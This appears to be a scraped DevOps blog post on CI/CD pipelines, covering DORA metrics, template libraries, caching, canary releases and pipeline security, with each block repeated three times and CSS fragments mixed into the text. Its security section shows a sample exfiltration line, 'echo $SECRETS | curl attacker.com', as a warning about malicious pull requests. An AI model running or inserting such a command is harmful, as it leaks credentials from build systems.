$ Metric │ Elite │ "We Need Help" ─────────────────────────┼────────────────┼────────────────── Deployment Frequency │ Multiple/day │ Monthly or less Lead Time for Changes │ < 1 hour │ > 1 month Change Failure Rate │ 0-15% │ > 45% Mean Time to Recovery │ < 1 hour │ > 6 months Metric │ Elite │ "We Need Help" ─────────────────────────┼────────────────┼────────────────── Deployment Frequency │ Multiple/day │ Monthly or less Lead Time for Changes │ < 1 hour │ > 1 month Change Failure Rate │ 0-15% │ > 45% Mean Time to Recovery │ < 1 hour │ > 6 months Metric │ Elite │ "We Need Help" ─────────────────────────┼────────────────┼────────────────── Deployment Frequency │ Multiple/day │ Monthly or less Lead Time for Changes │ < 1 hour │ > 1 month Change Failure Rate │ 0-15% │ > 45% Mean Time to Recovery │ < 1 hour │ > 6 months # GitHub Actions: Track deployment frequency - name: Record deployment run: | -weight: 500;">curl -X POST "${{ secrets.METRICS_ENDPOINT }}" \ -H "Content-Type: application/json" \ -d '{ "event": "deployment", "-weight: 500;">service": "${{ github.repository }}", "environment": "production", "sha": "${{ github.sha }}", "timestamp": "'$(date -u +%Y-%m-%dT%H:%M:%SZ)'" }' # GitHub Actions: Track deployment frequency - name: Record deployment run: | -weight: 500;">curl -X POST "${{ secrets.METRICS_ENDPOINT }}" \ -H "Content-Type: application/json" \ -d '{ "event": "deployment", "-weight: 500;">service": "${{ github.repository }}", "environment": "production", "sha": "${{ github.sha }}", "timestamp": "'$(date -u +%Y-%m-%dT%H:%M:%SZ)'" }' # GitHub Actions: Track deployment frequency - name: Record deployment run: | -weight: 500;">curl -X POST "${{ secrets.METRICS_ENDPOINT }}" \ -H "Content-Type: application/json" \ -d '{ "event": "deployment", "-weight: 500;">service": "${{ github.repository }}", "environment": "production", "sha": "${{ github.sha }}", "timestamp": "'$(date -u +%Y-%m-%dT%H:%M:%SZ)'" }' Team Alpha: 800-line custom YAML → Azure DevOps Team Bravo: 600-line custom YAML → Azure DevOps (different structure) Team Charlie: "We just deploy from our laptops" → 😱 Result: • 3 different security scanning approaches • 2 teams forgot to add container image scanning • 1 team has no tests in their pipeline • Nobody can help debug another team's pipeline Team Alpha: 800-line custom YAML → Azure DevOps Team Bravo: 600-line custom YAML → Azure DevOps (different structure) Team Charlie: "We just deploy from our laptops" → 😱 Result: • 3 different security scanning approaches • 2 teams forgot to add container image scanning • 1 team has no tests in their pipeline • Nobody can help debug another team's pipeline Team Alpha: 800-line custom YAML → Azure DevOps Team Bravo: 600-line custom YAML → Azure DevOps (different structure) Team Charlie: "We just deploy from our laptops" → 😱 Result: • 3 different security scanning approaches • 2 teams forgot to add container image scanning • 1 team has no tests in their pipeline • Nobody can help debug another team's pipeline ┌──────────────────────────────────────────────────┐ │ Shared Template Library (v2.5.0) │ │ │ │ ┌───────────┐ ┌───────────┐ ┌───────────────┐ │ │ │ Build │ │ Test │ │ Security │ │ │ │ Template │ │ Template │ │ Scan │ │ │ │ (.NET, │ │ (unit, │ │ Template │ │ │ │ Node, │ │ integ, │ │ (Trivy, │ │ │ │ Python) │ │ e2e) │ │ Checkov) │ │ │ └───────────┘ └───────────┘ └───────────────┘ │ │ ┌───────────┐ ┌───────────┐ ┌───────────────┐ │ │ │ Deploy │ │ Notify │ │ Rollback │ │ │ │ Template │ │ Template │ │ Template │ │ │ │ (K8s, │ │ (Slack, │ │ (auto/ │ │ │ │ AppSvc) │ │ Teams) │ │ manual) │ │ │ └───────────┘ └───────────┘ └───────────────┘ │ └──────────────────────────────────────────────────┘ │ consumed by ▼ ┌─────────────────────────────────────────────────┐ │ Team pipelines (10-20 lines each!) │ │ "Use build template, test template, deploy │ │ template — just tell it your -weight: 500;">service name" │ └─────────────────────────────────────────────────┘ ┌──────────────────────────────────────────────────┐ │ Shared Template Library (v2.5.0) │ │ │ │ ┌───────────┐ ┌───────────┐ ┌───────────────┐ │ │ │ Build │ │ Test │ │ Security │ │ │ │ Template │ │ Template │ │ Scan │ │ │ │ (.NET, │ │ (unit, │ │ Template │ │ │ │ Node, │ │ integ, │ │ (Trivy, │ │ │ │ Python) │ │ e2e) │ │ Checkov) │ │ │ └───────────┘ └───────────┘ └───────────────┘ │ │ ┌───────────┐ ┌───────────┐ ┌───────────────┐ │ │ │ Deploy │ │ Notify │ │ Rollback │ │ │ │ Template │ │ Template │ │ Template │ │ │ │ (K8s, │ │ (Slack, │ │ (auto/ │ │ │ │ AppSvc) │ │ Teams) │ │ manual) │ │ │ └───────────┘ └───────────┘ └───────────────┘ │ └──────────────────────────────────────────────────┘ │ consumed by ▼ ┌─────────────────────────────────────────────────┐ │ Team pipelines (10-20 lines each!) │ │ "Use build template, test template, deploy │ │ template — just tell it your -weight: 500;">service name" │ └─────────────────────────────────────────────────┘ ┌──────────────────────────────────────────────────┐ │ Shared Template Library (v2.5.0) │ │ │ │ ┌───────────┐ ┌───────────┐ ┌───────────────┐ │ │ │ Build │ │ Test │ │ Security │ │ │ │ Template │ │ Template │ │ Scan │ │ │ │ (.NET, │ │ (unit, │ │ Template │ │ │ │ Node, │ │ integ, │ │ (Trivy, │ │ │ │ Python) │ │ e2e) │ │ Checkov) │ │ │ └───────────┘ └───────────┘ └───────────────┘ │ │ ┌───────────┐ ┌───────────┐ ┌───────────────┐ │ │ │ Deploy │ │ Notify │ │ Rollback │ │ │ │ Template │ │ Template │ │ Template │ │ │ │ (K8s, │ │ (Slack, │ │ (auto/ │ │ │ │ AppSvc) │ │ Teams) │ │ manual) │ │ │ └───────────┘ └───────────┘ └───────────────┘ │ └──────────────────────────────────────────────────┘ │ consumed by ▼ ┌─────────────────────────────────────────────────┐ │ Team pipelines (10-20 lines each!) │ │ "Use build template, test template, deploy │ │ template — just tell it your -weight: 500;">service name" │ └─────────────────────────────────────────────────┘ # Team's pipeline: SHORT and STANDARD trigger: branches: include: [main] resources: repositories: - repository: templates type: -weight: 500;">git name: platform/pipeline-templates ref: refs/tags/v2.5.0 # 🔑 Always pin the version! stages: - template: stages/ci.yml@templates parameters: language: dotnet dotnetVersion: '8.0' testProjects: '**/*Tests.csproj' - template: stages/security-scan.yml@templates parameters: trivySeverity: 'CRITICAL,HIGH' - template: stages/deploy-k8s.yml@templates parameters: environment: staging aksCluster: aks-staging-eastus namespace: payments - template: stages/deploy-k8s.yml@templates parameters: environment: production aksCluster: aks-prod-eastus namespace: payments requireApproval: true # Team's pipeline: SHORT and STANDARD trigger: branches: include: [main] resources: repositories: - repository: templates type: -weight: 500;">git name: platform/pipeline-templates ref: refs/tags/v2.5.0 # 🔑 Always pin the version! stages: - template: stages/ci.yml@templates parameters: language: dotnet dotnetVersion: '8.0' testProjects: '**/*Tests.csproj' - template: stages/security-scan.yml@templates parameters: trivySeverity: 'CRITICAL,HIGH' - template: stages/deploy-k8s.yml@templates parameters: environment: staging aksCluster: aks-staging-eastus namespace: payments - template: stages/deploy-k8s.yml@templates parameters: environment: production aksCluster: aks-prod-eastus namespace: payments requireApproval: true # Team's pipeline: SHORT and STANDARD trigger: branches: include: [main] resources: repositories: - repository: templates type: -weight: 500;">git name: platform/pipeline-templates ref: refs/tags/v2.5.0 # 🔑 Always pin the version! stages: - template: stages/ci.yml@templates parameters: language: dotnet dotnetVersion: '8.0' testProjects: '**/*Tests.csproj' - template: stages/security-scan.yml@templates parameters: trivySeverity: 'CRITICAL,HIGH' - template: stages/deploy-k8s.yml@templates parameters: environment: staging aksCluster: aks-staging-eastus namespace: payments - template: stages/deploy-k8s.yml@templates parameters: environment: production aksCluster: aks-prod-eastus namespace: payments requireApproval: true # .github/workflows/deploy.yml — Team's workflow name: Deploy on: push: branches: [main] jobs: build-and-test: uses: myorg/shared-workflows/.github/workflows/build-dotnet[email protected] with: dotnet-version: '8.0' project-path: 'src/PaymentService' security-scan: needs: build-and-test uses: myorg/shared-workflows/.github/workflows/security-scan[email protected] with: image: ${{ needs.build-and-test.outputs.image }} deploy: needs: [build-and-test, security-scan] uses: myorg/shared-workflows/.github/workflows/deploy-k8s[email protected] with: environment: production image: ${{ needs.build-and-test.outputs.image }} secrets: inherit # .github/workflows/deploy.yml — Team's workflow name: Deploy on: push: branches: [main] jobs: build-and-test: uses: myorg/shared-workflows/.github/workflows/build-dotnet[email protected] with: dotnet-version: '8.0' project-path: 'src/PaymentService' security-scan: needs: build-and-test uses: myorg/shared-workflows/.github/workflows/security-scan[email protected] with: image: ${{ needs.build-and-test.outputs.image }} deploy: needs: [build-and-test, security-scan] uses: myorg/shared-workflows/.github/workflows/deploy-k8s[email protected] with: environment: production image: ${{ needs.build-and-test.outputs.image }} secrets: inherit # .github/workflows/deploy.yml — Team's workflow name: Deploy on: push: branches: [main] jobs: build-and-test: uses: myorg/shared-workflows/.github/workflows/build-dotnet[email protected] with: dotnet-version: '8.0' project-path: 'src/PaymentService' security-scan: needs: build-and-test uses: myorg/shared-workflows/.github/workflows/security-scan[email protected] with: image: ${{ needs.build-and-test.outputs.image }} deploy: needs: [build-and-test, security-scan] uses: myorg/shared-workflows/.github/workflows/deploy-k8s[email protected] with: environment: production image: ${{ needs.build-and-test.outputs.image }} secrets: inherit Typical 45-minute pipeline breakdown: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 7 min │██████│ Agent startup + checkout 12 min │████████████│ Dependency -weight: 500;">install (-weight: 500;">npm/nuget) 5 min │█████│ Build 8 min │████████│ Tests (running ALL tests sequentially) 3 min │███│ Docker build (no layer caching) 5 min │█████│ Security scanning 5 min │█████│ Deploy + smoke tests ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 45 min total 💤 Optimized 5-minute pipeline: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0.5 min │█│ Cached checkout 0.5 min │█│ Cached dependencies 1 min │██│ Incremental build 1 min │██│ Parallel tests (affected only) 0.5 min │█│ Docker build (cached layers) 1 min │██│ Parallel: scan + deploy 0.5 min │█│ Smoke test ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5 min total 🚀 Typical 45-minute pipeline breakdown: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 7 min │██████│ Agent startup + checkout 12 min │████████████│ Dependency -weight: 500;">install (-weight: 500;">npm/nuget) 5 min │█████│ Build 8 min │████████│ Tests (running ALL tests sequentially) 3 min │███│ Docker build (no layer caching) 5 min │█████│ Security scanning 5 min │█████│ Deploy + smoke tests ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 45 min total 💤 Optimized 5-minute pipeline: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0.5 min │█│ Cached checkout 0.5 min │█│ Cached dependencies 1 min │██│ Incremental build 1 min │██│ Parallel tests (affected only) 0.5 min │█│ Docker build (cached layers) 1 min │██│ Parallel: scan + deploy 0.5 min │█│ Smoke test ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5 min total 🚀 Typical 45-minute pipeline breakdown: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 7 min │██████│ Agent startup + checkout 12 min │████████████│ Dependency -weight: 500;">install (-weight: 500;">npm/nuget) 5 min │█████│ Build 8 min │████████│ Tests (running ALL tests sequentially) 3 min │███│ Docker build (no layer caching) 5 min │█████│ Security scanning 5 min │█████│ Deploy + smoke tests ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 45 min total 💤 Optimized 5-minute pipeline: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0.5 min │█│ Cached checkout 0.5 min │█│ Cached dependencies 1 min │██│ Incremental build 1 min │██│ Parallel tests (affected only) 0.5 min │█│ Docker build (cached layers) 1 min │██│ Parallel: scan + deploy 0.5 min │█│ Smoke test ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5 min total 🚀 # GitHub Actions: Cache node_modules - uses: actions/cache@v4 with: path: ~/.-weight: 500;">npm key: -weight: 500;">npm-${{ hashFiles('**/package-lock.json') }} restore-keys: -weight: 500;">npm- # Azure DevOps: Cache NuGet packages - task: Cache@2 inputs: key: 'nuget | "$(Agent.OS)" | **/packages.lock.json' restoreKeys: 'nuget | "$(Agent.OS)"' path: $(NUGET_PACKAGES) # GitHub Actions: Cache node_modules - uses: actions/cache@v4 with: path: ~/.-weight: 500;">npm key: -weight: 500;">npm-${{ hashFiles('**/package-lock.json') }} restore-keys: -weight: 500;">npm- # Azure DevOps: Cache NuGet packages - task: Cache@2 inputs: key: 'nuget | "$(Agent.OS)" | **/packages.lock.json' restoreKeys: 'nuget | "$(Agent.OS)"' path: $(NUGET_PACKAGES) # GitHub Actions: Cache node_modules - uses: actions/cache@v4 with: path: ~/.-weight: 500;">npm key: -weight: 500;">npm-${{ hashFiles('**/package-lock.json') }} restore-keys: -weight: 500;">npm- # Azure DevOps: Cache NuGet packages - task: Cache@2 inputs: key: 'nuget | "$(Agent.OS)" | **/packages.lock.json' restoreKeys: 'nuget | "$(Agent.OS)"' path: $(NUGET_PACKAGES) # BAD: Copying everything first breaks the cache COPY . . RUN -weight: 500;">npm -weight: 500;">install # GOOD: Copy package files first, -weight: 500;">install, THEN copy code COPY package.json package-lock.json ./ RUN -weight: 500;">npm ci --production COPY . . # Now code changes don't re-trigger -weight: 500;">npm -weight: 500;">install # BAD: Copying everything first breaks the cache COPY . . RUN -weight: 500;">npm -weight: 500;">install # GOOD: Copy package files first, -weight: 500;">install, THEN copy code COPY package.json package-lock.json ./ RUN -weight: 500;">npm ci --production COPY . . # Now code changes don't re-trigger -weight: 500;">npm -weight: 500;">install # BAD: Copying everything first breaks the cache COPY . . RUN -weight: 500;">npm -weight: 500;">install # GOOD: Copy package files first, -weight: 500;">install, THEN copy code COPY package.json package-lock.json ./ RUN -weight: 500;">npm ci --production COPY . . # Now code changes don't re-trigger -weight: 500;">npm -weight: 500;">install # GitHub Actions: Matrix strategy jobs: test: strategy: matrix: shard: [1, 2, 3, 4] steps: - run: -weight: 500;">npm test -- --shard=${{ matrix.shard }}/4 # GitHub Actions: Matrix strategy jobs: test: strategy: matrix: shard: [1, 2, 3, 4] steps: - run: -weight: 500;">npm test -- --shard=${{ matrix.shard }}/4 # GitHub Actions: Matrix strategy jobs: test: strategy: matrix: shard: [1, 2, 3, 4] steps: - run: -weight: 500;">npm test -- --shard=${{ matrix.shard }}/4 # For monorepos: detect which -weight: 500;">service changed - uses: dorny/paths-filter@v3 id: changes with: filters: | payments: - 'services/payments/**' users: - 'services/users/**' - name: Test payments if: steps.changes.outputs.payments == 'true' run: cd services/payments && -weight: 500;">npm test # For monorepos: detect which -weight: 500;">service changed - uses: dorny/paths-filter@v3 id: changes with: filters: | payments: - 'services/payments/**' users: - 'services/users/**' - name: Test payments if: steps.changes.outputs.payments == 'true' run: cd services/payments && -weight: 500;">npm test # For monorepos: detect which -weight: 500;">service changed - uses: dorny/paths-filter@v3 id: changes with: filters: | payments: - 'services/payments/**' users: - 'services/users/**' - name: Test payments if: steps.changes.outputs.payments == 'true' run: cd services/payments && -weight: 500;">npm test ERROR: -weight: 500;">npm ERR! ENOSPC: no space left on device ERROR: -weight: 500;">npm ERR! ENOSPC: no space left on device ERROR: -weight: 500;">npm ERR! ENOSPC: no space left on device - name: Agent cleanup condition: always() run: | -weight: 500;">docker system prune -af --volumes rm -rf /tmp/build-* - name: Agent cleanup condition: always() run: | -weight: 500;">docker system prune -af --volumes rm -rf /tmp/build-* - name: Agent cleanup condition: always() run: | -weight: 500;">docker system prune -af --volumes rm -rf /tmp/build-* Strategy │ Risk │ Speed │ Rollback │ Best For ───────────────────┼───────┼───────┼──────────┼────────────────── Rolling Update │ Med │ Fast │ Slow │ Default K8s strategy Blue-Green │ Low │ Fast │ Instant │ Stateless services Canary │ Low │ Slow │ Fast │ High-risk changes Feature Flags │ Lowest│ Inst. │ Instant │ Business logic changes Strategy │ Risk │ Speed │ Rollback │ Best For ───────────────────┼───────┼───────┼──────────┼────────────────── Rolling Update │ Med │ Fast │ Slow │ Default K8s strategy Blue-Green │ Low │ Fast │ Instant │ Stateless services Canary │ Low │ Slow │ Fast │ High-risk changes Feature Flags │ Lowest│ Inst. │ Instant │ Business logic changes Strategy │ Risk │ Speed │ Rollback │ Best For ───────────────────┼───────┼───────┼──────────┼────────────────── Rolling Update │ Med │ Fast │ Slow │ Default K8s strategy Blue-Green │ Low │ Fast │ Instant │ Stateless services Canary │ Low │ Slow │ Fast │ High-risk changes Feature Flags │ Lowest│ Inst. │ Instant │ Business logic changes Step 1: Deploy new version to 5% of traffic ┌─────────────────────────────────┐ │ 95% traffic → v1.0 (3 pods) │ │ 5% traffic → v2.0 (1 pod) │ ← Watch error rates, latency └─────────────────────────────────┘ Step 2: If metrics look good, increase to 25% ┌─────────────────────────────────┐ │ 75% traffic → v1.0 (3 pods) │ │ 25% traffic → v2.0 (1 pod) │ ← Still watching... └─────────────────────────────────┘ Step 3: If still good, go to 100% ┌─────────────────────────────────┐ │ 100% traffic → v2.0 (3 pods) │ ← 🎉 Full rollout └─────────────────────────────────┘ Step ABORT: If any stage looks bad ┌─────────────────────────────────┐ │ 100% traffic → v1.0 (3 pods) │ ← 😌 Safely rolled back │ 0% traffic → v2.0 (removed) │ └─────────────────────────────────┘ Step 1: Deploy new version to 5% of traffic ┌─────────────────────────────────┐ │ 95% traffic → v1.0 (3 pods) │ │ 5% traffic → v2.0 (1 pod) │ ← Watch error rates, latency └─────────────────────────────────┘ Step 2: If metrics look good, increase to 25% ┌─────────────────────────────────┐ │ 75% traffic → v1.0 (3 pods) │ │ 25% traffic → v2.0 (1 pod) │ ← Still watching... └─────────────────────────────────┘ Step 3: If still good, go to 100% ┌─────────────────────────────────┐ │ 100% traffic → v2.0 (3 pods) │ ← 🎉 Full rollout └─────────────────────────────────┘ Step ABORT: If any stage looks bad ┌─────────────────────────────────┐ │ 100% traffic → v1.0 (3 pods) │ ← 😌 Safely rolled back │ 0% traffic → v2.0 (removed) │ └─────────────────────────────────┘ Step 1: Deploy new version to 5% of traffic ┌─────────────────────────────────┐ │ 95% traffic → v1.0 (3 pods) │ │ 5% traffic → v2.0 (1 pod) │ ← Watch error rates, latency └─────────────────────────────────┘ Step 2: If metrics look good, increase to 25% ┌─────────────────────────────────┐ │ 75% traffic → v1.0 (3 pods) │ │ 25% traffic → v2.0 (1 pod) │ ← Still watching... └─────────────────────────────────┘ Step 3: If still good, go to 100% ┌─────────────────────────────────┐ │ 100% traffic → v2.0 (3 pods) │ ← 🎉 Full rollout └─────────────────────────────────┘ Step ABORT: If any stage looks bad ┌─────────────────────────────────┐ │ 100% traffic → v1.0 (3 pods) │ ← 😌 Safely rolled back │ 0% traffic → v2.0 (removed) │ └─────────────────────────────────┘ Scary Thing #1: Secrets in pipeline logs ┌─────────────────────────────────────────────┐ │ Step: Deploy │ │ $ echo $DATABASE_CONNECTION_STRING │ │ Server=prod.db.windows.net;Password=Pa$$w0rd│ ← 🫠 └─────────────────────────────────────────────┘ Scary Thing #2: Pull request pipelines run arbitrary code ┌─────────────────────────────────────────────┐ │ External contributor opens PR │ │ PR changes build script to: │ │ echo $SECRETS | -weight: 500;">curl attacker.com │ │ Pipeline runs automatically... │ ← 😱 └─────────────────────────────────────────────┘ Scary Thing #3: Dependency confusion attacks ┌─────────────────────────────────────────────┐ │ Internal package: @mycompany/utils │ │ Attacker publishes: @mycompany/utils on -weight: 500;">npm │ │ Pipeline installs public one first... │ ← 🦠 └─────────────────────────────────────────────┘ Scary Thing #1: Secrets in pipeline logs ┌─────────────────────────────────────────────┐ │ Step: Deploy │ │ $ echo $DATABASE_CONNECTION_STRING │ │ Server=prod.db.windows.net;Password=Pa$$w0rd│ ← 🫠 └─────────────────────────────────────────────┘ Scary Thing #2: Pull request pipelines run arbitrary code ┌─────────────────────────────────────────────┐ │ External contributor opens PR │ │ PR changes build script to: │ │ echo $SECRETS | -weight: 500;">curl attacker.com │ │ Pipeline runs automatically... │ ← 😱 └─────────────────────────────────────────────┘ Scary Thing #3: Dependency confusion attacks ┌─────────────────────────────────────────────┐ │ Internal package: @mycompany/utils │ │ Attacker publishes: @mycompany/utils on -weight: 500;">npm │ │ Pipeline installs public one first... │ ← 🦠 └─────────────────────────────────────────────┘ Scary Thing #1: Secrets in pipeline logs ┌─────────────────────────────────────────────┐ │ Step: Deploy │ │ $ echo $DATABASE_CONNECTION_STRING │ │ Server=prod.db.windows.net;Password=Pa$$w0rd│ ← 🫠 └─────────────────────────────────────────────┘ Scary Thing #2: Pull request pipelines run arbitrary code ┌─────────────────────────────────────────────┐ │ External contributor opens PR │ │ PR changes build script to: │ │ echo $SECRETS | -weight: 500;">curl attacker.com │ │ Pipeline runs automatically... │ ← 😱 └─────────────────────────────────────────────┘ Scary Thing #3: Dependency confusion attacks ┌─────────────────────────────────────────────┐ │ Internal package: @mycompany/utils │ │ Attacker publishes: @mycompany/utils on -weight: 500;">npm │ │ Pipeline installs public one first... │ ← 🦠 └─────────────────────────────────────────────┘ Authentication: ✅ OIDC federation (no long-lived secrets in pipelines) ✅ Managed Identity for Azure resources ✅ Short-lived tokens (expire in minutes, not months) Authorization: ✅ Pipeline can only deploy to its own -weight: 500;">service ✅ Production deploys require approved PR + passing checks ✅ Environment protection rules with required reviewers Dependencies: ✅ Lock files committed (package-lock.json, go.sum) ✅ Dependency scanning (Dependabot, Snyk) ✅ Private package registry for internal packages Secrets: ✅ Never echo/print secrets in logs ✅ Use secret masking in pipeline variables ✅ Rotate secrets automatically ✅ Audit who accesses what secret Authentication: ✅ OIDC federation (no long-lived secrets in pipelines) ✅ Managed Identity for Azure resources ✅ Short-lived tokens (expire in minutes, not months) Authorization: ✅ Pipeline can only deploy to its own -weight: 500;">service ✅ Production deploys require approved PR + passing checks ✅ Environment protection rules with required reviewers Dependencies: ✅ Lock files committed (package-lock.json, go.sum) ✅ Dependency scanning (Dependabot, Snyk) ✅ Private package registry for internal packages Secrets: ✅ Never echo/print secrets in logs ✅ Use secret masking in pipeline variables ✅ Rotate secrets automatically ✅ Audit who accesses what secret Authentication: ✅ OIDC federation (no long-lived secrets in pipelines) ✅ Managed Identity for Azure resources ✅ Short-lived tokens (expire in minutes, not months) Authorization: ✅ Pipeline can only deploy to its own -weight: 500;">service ✅ Production deploys require approved PR + passing checks ✅ Environment protection rules with required reviewers Dependencies: ✅ Lock files committed (package-lock.json, go.sum) ✅ Dependency scanning (Dependabot, Snyk) ✅ Private package registry for internal packages Secrets: ✅ Never echo/print secrets in logs ✅ Use secret masking in pipeline variables ✅ Rotate secrets automatically ✅ Audit who accesses what secret - name: Debug connection run: | echo "Connecting to: ${{ secrets.DB_CONNECTION_STRING }}" - name: Debug connection run: | echo "Connecting to: ${{ secrets.DB_CONNECTION_STRING }}" - name: Debug connection run: | echo "Connecting to: ${{ secrets.DB_CONNECTION_STRING }}" # GitHub Actions: OIDC to Azure (no secrets!) permissions: id-token: write contents: read steps: - uses: azure/login@v2 with: client-id: ${{ vars.AZURE_CLIENT_ID }} # Not a secret! tenant-id: ${{ vars.AZURE_TENANT_ID }} subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }} # GitHub Actions: OIDC to Azure (no secrets!) permissions: id-token: write contents: read steps: - uses: azure/login@v2 with: client-id: ${{ vars.AZURE_CLIENT_ID }} # Not a secret! tenant-id: ${{ vars.AZURE_TENANT_ID }} subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }} # GitHub Actions: OIDC to Azure (no secrets!) permissions: id-token: write contents: read steps: - uses: azure/login@v2 with: client-id: ${{ vars.AZURE_CLIENT_ID }} # Not a secret! tenant-id: ${{ vars.AZURE_TENANT_ID }} subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }} Platform Team Provides: App Teams Customize: ════════════════════════ ════════════════════ ✅ Template library ✅ Service name & config ✅ Security scanning ✅ Test commands ✅ Deployment strategies ✅ Environment-specific vars ✅ Secret management pattern ✅ Notification channels ✅ DORA metrics collection ✅ Deployment schedule ✅ Compliance guardrails ✅ Custom test stages Platform Team Provides: App Teams Customize: ════════════════════════ ════════════════════ ✅ Template library ✅ Service name & config ✅ Security scanning ✅ Test commands ✅ Deployment strategies ✅ Environment-specific vars ✅ Secret management pattern ✅ Notification channels ✅ DORA metrics collection ✅ Deployment schedule ✅ Compliance guardrails ✅ Custom test stages Platform Team Provides: App Teams Customize: ════════════════════════ ════════════════════ ✅ Template library ✅ Service name & config ✅ Security scanning ✅ Test commands ✅ Deployment strategies ✅ Environment-specific vars ✅ Secret management pattern ✅ Notification channels ✅ DORA metrics collection ✅ Deployment schedule ✅ Compliance guardrails ✅ Custom test stages Template repo: platform/pipeline-templates ├── Maintained by platform team ├── Versioned with semantic versioning (v2.5.0) ├── Teams consume via -weight: 500;">git tags (immutable reference) ├── Breaking changes = major version bump ├── Teams can contribute improvements via PR └── Monthly "template office hours" for questions Template repo: platform/pipeline-templates ├── Maintained by platform team ├── Versioned with semantic versioning (v2.5.0) ├── Teams consume via -weight: 500;">git tags (immutable reference) ├── Breaking changes = major version bump ├── Teams can contribute improvements via PR └── Monthly "template office hours" for questions Template repo: platform/pipeline-templates ├── Maintained by platform team ├── Versioned with semantic versioning (v2.5.0) ├── Teams consume via -weight: 500;">git tags (immutable reference) ├── Breaking changes = major version bump ├── Teams can contribute improvements via PR └── Monthly "template office hours" for questions - It takes 42 minutes to build and deploy - Nobody knows exactly what it does (the YAML is 800 lines) - Each team has their own custom pipeline because "our needs are different" - Flaky tests fail 20% of the time, and everyone just re-runs the pipeline - There's a manual approval step where someone clicks "Approve" without looking - Someone set it up 3 years ago and that person doesn't work here anymore - Use ephemeral agents (fresh VM/container per build) — Azure DevOps Scale Set agents or GitHub Actions hosted runners - If self-hosted, add a cleanup job: - Never deploy on Friday (unless you have canary + automated rollback) - Never deploy during peak hours (find your low-traffic window) - Always have automated rollback based on error rates and latency - Small changes, frequent deploys > big changes, occasional deploys - It can push code to production - It has access to secrets and credentials - It can modify infrastructure - It downloads code from the internet (dependencies) - Remove all echo/print statements that reference secrets - Use OIDC federation so there are no secrets to leak: - Measure DORA metrics — you can't improve what you don't measure - Template libraries standardize quality without removing team autonomy - Cache everything to cut build times by 80%+ - Canary deployments are the safest way to ship to production - OIDC federation eliminates the #1 pipeline security risk (leaked secrets) - Never deploy on Friday. Just don't. 🙅 - Time your pipeline end-to-end. Write down the duration of each step. Find the biggest bottleneck. - Check if your pipeline uses long-lived secrets. Replace one with OIDC federation. - Add caching for dependencies if you haven't already — measure the before/after build time.